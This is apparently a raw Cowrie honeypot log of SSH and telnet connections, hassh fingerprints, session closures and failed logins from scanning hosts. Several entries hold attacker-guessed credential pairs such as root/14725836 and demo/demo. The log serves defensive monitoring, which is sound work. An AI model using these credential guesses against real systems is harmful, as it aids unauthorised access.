{"eventid":"cowrie.session.closed","duration":24.610332489013672,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:33.172895Z","src_ip":"152.42.224.71","session":"acd81a2cb3ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55056,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b1a03c9bd6","protocol":"telnet","message":"New connection: 152.42.224.71:55056 (10.17.0.5:23) [session: 29b1a03c9bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:33.575244Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:34.118136Z","src_ip":"170.238.160.191","session":"9634daffa110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":47810,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f3eb7f8dfd","protocol":"ssh","message":"New connection: 181.188.172.6:47810 (159.203.135.109:22) [session: c1f3eb7f8dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:37.972389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:37.977324Z","src_ip":"181.188.172.6","session":"c1f3eb7f8dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:38.094252Z","src_ip":"181.188.172.6","session":"c1f3eb7f8dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason123","message":"login attempt [jason/jason123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:38.918255Z","src_ip":"181.188.172.6","session":"c1f3eb7f8dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f617baf944","protocol":"telnet","message":"New connection: 152.42.224.71:47286 (10.17.0.5:23) [session: 89f617baf944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:39.143124Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"4381da69ad04","protocol":"telnet","message":"New connection: 152.42.224.71:47296 (10.17.0.5:23) [session: 4381da69ad04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:39.301503Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:40.921145Z","src_ip":"181.188.172.6","session":"c1f3eb7f8dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47270,"dst_ip":"10.17.0.5","dst_port":23,"session":"784ebe579987","protocol":"telnet","message":"New connection: 152.42.224.71:47270 (10.17.0.5:23) [session: 784ebe579987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:42.001933Z"}
{"eventid":"cowrie.session.closed","duration":32.97098207473755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:43.013710Z","src_ip":"152.42.224.71","session":"234bb8ba6f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57162,"dst_ip":"10.17.0.5","dst_port":22,"session":"e313a3a50e9b","protocol":"ssh","message":"New connection: 103.122.221.179:57162 (10.17.0.5:22) [session: e313a3a50e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:45.596714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:45.602069Z","src_ip":"103.122.221.179","session":"e313a3a50e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:45.854639Z","src_ip":"103.122.221.179","session":"e313a3a50e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8765432","message":"login attempt [root/8765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:46.614900Z","src_ip":"103.122.221.179","session":"e313a3a50e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:47.870993Z","src_ip":"103.122.221.179","session":"e313a3a50e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52916,"dst_ip":"10.17.0.5","dst_port":23,"session":"57562d050d7c","protocol":"telnet","message":"New connection: 152.42.224.71:52916 (10.17.0.5:23) [session: 57562d050d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:48.546291Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52920,"dst_ip":"10.17.0.5","dst_port":23,"session":"b666f793496c","protocol":"telnet","message":"New connection: 152.42.224.71:52920 (10.17.0.5:23) [session: b666f793496c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:50.275073Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52936,"dst_ip":"10.17.0.5","dst_port":23,"session":"9babd4840e0f","protocol":"telnet","message":"New connection: 152.42.224.71:52936 (10.17.0.5:23) [session: 9babd4840e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:51.371154Z"}
{"eventid":"cowrie.session.closed","duration":80.5165343284607,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:54.198414Z","src_ip":"152.42.224.71","session":"6385f054d588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"118cd920f417","protocol":"telnet","message":"New connection: 152.42.224.71:52942 (10.17.0.5:23) [session: 118cd920f417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:55.034853Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":55234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e84aba9c2e7b","protocol":"ssh","message":"New connection: 147.45.197.250:55234 (159.203.135.109:22) [session: e84aba9c2e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:56.052914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:56.057804Z","src_ip":"147.45.197.250","session":"e84aba9c2e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:56.149405Z","src_ip":"147.45.197.250","session":"e84aba9c2e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456788","message":"login attempt [root/123456788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:56.426934Z","src_ip":"147.45.197.250","session":"e84aba9c2e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.88283371925354,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:57.184224Z","src_ip":"152.42.224.71","session":"4381da69ad04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:57.520604Z","src_ip":"147.45.197.250","session":"e84aba9c2e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f0bf925fae5","protocol":"telnet","message":"New connection: 152.42.224.71:32954 (10.17.0.5:23) [session: 3f0bf925fae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:58.415689Z"}
{"eventid":"cowrie.session.closed","duration":54.45076370239258,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:58.673271Z","src_ip":"152.42.224.71","session":"fc85931b0be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.006755352020264,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:58.681439Z","src_ip":"152.42.224.71","session":"142d166a6472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":60862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6864e3739e6f","protocol":"ssh","message":"New connection: 47.237.167.49:60862 (159.203.135.109:22) [session: 6864e3739e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:24:58.736687Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32970,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b21f0638c04","protocol":"telnet","message":"New connection: 152.42.224.71:32970 (10.17.0.5:23) [session: 7b21f0638c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:00.124861Z"}
{"eventid":"cowrie.session.closed","duration":51.266420125961304,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:02.280383Z","src_ip":"152.42.224.71","session":"864d3db727d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.350371599197388,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:02.896486Z","src_ip":"152.42.224.71","session":"57562d050d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7132670879364,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:03.386856Z","src_ip":"152.42.224.71","session":"a618bb7b3bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37976,"dst_ip":"10.17.0.5","dst_port":22,"session":"228bbf341615","protocol":"ssh","message":"New connection: 62.133.62.83:37976 (10.17.0.5:22) [session: 228bbf341615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:03.530678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:03.544220Z","src_ip":"62.133.62.83","session":"228bbf341615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:03.630407Z","src_ip":"62.133.62.83","session":"228bbf341615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725836","message":"login attempt [root/14725836] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:03.875002Z","src_ip":"62.133.62.83","session":"228bbf341615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:04.962583Z","src_ip":"62.133.62.83","session":"228bbf341615","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:05.623309Z","src_ip":"47.237.167.49","session":"6864e3739e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:05.851038Z","src_ip":"47.237.167.49","session":"6864e3739e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.50827956199646,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:09.795326Z","src_ip":"152.42.224.71","session":"8d1688653928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38894,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf9e4cbc9333","protocol":"telnet","message":"New connection: 152.42.224.71:38894 (10.17.0.5:23) [session: bf9e4cbc9333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:10.089872Z"}
{"eventid":"cowrie.session.closed","duration":50.105520725250244,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:11.900585Z","src_ip":"152.42.224.71","session":"ee103e3cd830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00139713287354,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:11.932131Z","src_ip":"152.42.224.71","session":"ecb275c175fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38896,"dst_ip":"10.17.0.5","dst_port":23,"session":"29f63872c822","protocol":"telnet","message":"New connection: 152.42.224.71:38896 (10.17.0.5:23) [session: 29f63872c822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:12.913896Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:13.353793Z","src_ip":"47.237.167.49","session":"6864e3739e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:16.179846Z","src_ip":"47.237.167.49","session":"6864e3739e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b2b5669161","protocol":"telnet","message":"New connection: 152.42.224.71:37478 (10.17.0.5:23) [session: 92b2b5669161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:23.585682Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ba2673ec46","protocol":"telnet","message":"New connection: 152.42.224.71:37488 (10.17.0.5:23) [session: e9ba2673ec46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:24.622754Z"}
{"eventid":"cowrie.session.closed","duration":57.15415954589844,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:26.907480Z","src_ip":"152.42.224.71","session":"bf7e96634e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.9671106338501,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:28.095549Z","src_ip":"152.42.224.71","session":"5b52ab3c31e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.70905017852783,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:28.284189Z","src_ip":"152.42.224.71","session":"29b1a03c9bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4043bc6087","protocol":"telnet","message":"New connection: 152.42.224.71:41952 (10.17.0.5:23) [session: ea4043bc6087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:30.060242Z"}
{"eventid":"cowrie.session.closed","duration":41.73516917228699,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:33.106238Z","src_ip":"152.42.224.71","session":"9babd4840e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48456,"dst_ip":"10.17.0.5","dst_port":23,"session":"5896f1c7dba1","protocol":"telnet","message":"New connection: 152.42.224.71:48456 (10.17.0.5:23) [session: 5896f1c7dba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:37.448635Z"}
{"eventid":"cowrie.session.closed","duration":55.69489407539368,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:25:37.696707Z","src_ip":"152.42.224.71","session":"784ebe579987","protocol":"telnet"}
